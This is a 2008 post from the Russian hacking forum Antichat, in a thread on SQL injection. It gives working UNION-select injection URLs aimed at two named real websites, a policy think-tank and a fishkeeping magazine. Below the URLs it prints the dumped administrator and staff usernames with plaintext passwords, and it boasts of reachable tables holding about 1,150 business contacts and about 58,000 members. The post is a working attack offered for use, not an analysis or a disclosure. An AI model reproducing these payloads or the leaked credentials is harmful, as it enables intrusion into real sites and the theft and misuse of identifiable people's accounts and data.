Форум АНТИЧАТ - SQL Инъекции

#11

26.04.2008, 17:54

159932

Постоянный

Регистрация: 28.09.2007

Сообщений: 820

Провел на форуме:
6722038

Репутация: 1385

www.policynetwork.net

Цитата:

http://www.policynetwork.net/main/article.php?article_id=-505+union+select+1,2,3,4,5,concat_ws(0x3a,admin_us ername,admin_password),7,8,9,0,1,2,3,4,5,6,7,8+fro m+admin/*

4.0.20-standard-log
http://www.policynetwork.net/admin
kendra:v0nhayek
philip:v0nhayek
alec:v0nhayek
mark:v0nhayek
dawn:v0nhayek
marcsidwell:3rdfloor
caroline:v0nhayek
================================================== ==

www.practicalfishkeeping.co.uk

Цитата:

http://www.practicalfishkeeping.co.uk/pfk/pages/item.php?news=-1588+union+select+concat_ws(0x3a,administrator,pas s)+from+emap.administrators+limit+0,1/*

Matt Clarke:twolbperch
Jayne Phillips:ilovedavidsaxby
Rebecca Mee:iamthemanagerofpets
steve:hockey1
Bev Pearce:cheesywotsits
kate:ilikedatabases
Hannah:bluebellpub
Gareth:monkeyflaps
ian:forest
colleen:hockey

Цитата:

http://www.practicalfishkeeping.co.uk/pfk/pages/item.php?news=-1588+union+select+concat_ws(0x3a,id,directory_name ,company_name,company_type,contact_name,job_title, contact_email,company_website,password)+from+emap. directory+limit+1145,1/*

~1150 юзверей ..

Цитата:

http://www.practicalfishkeeping.co.uk/pfk/pages/item.php?news=-1588+union+select+concat_ws(0x3a,username,password )+from+practical_fishkeeping.members_details+limit +58111,1/*

приличное кол-во юзверей .. ~ 58к ..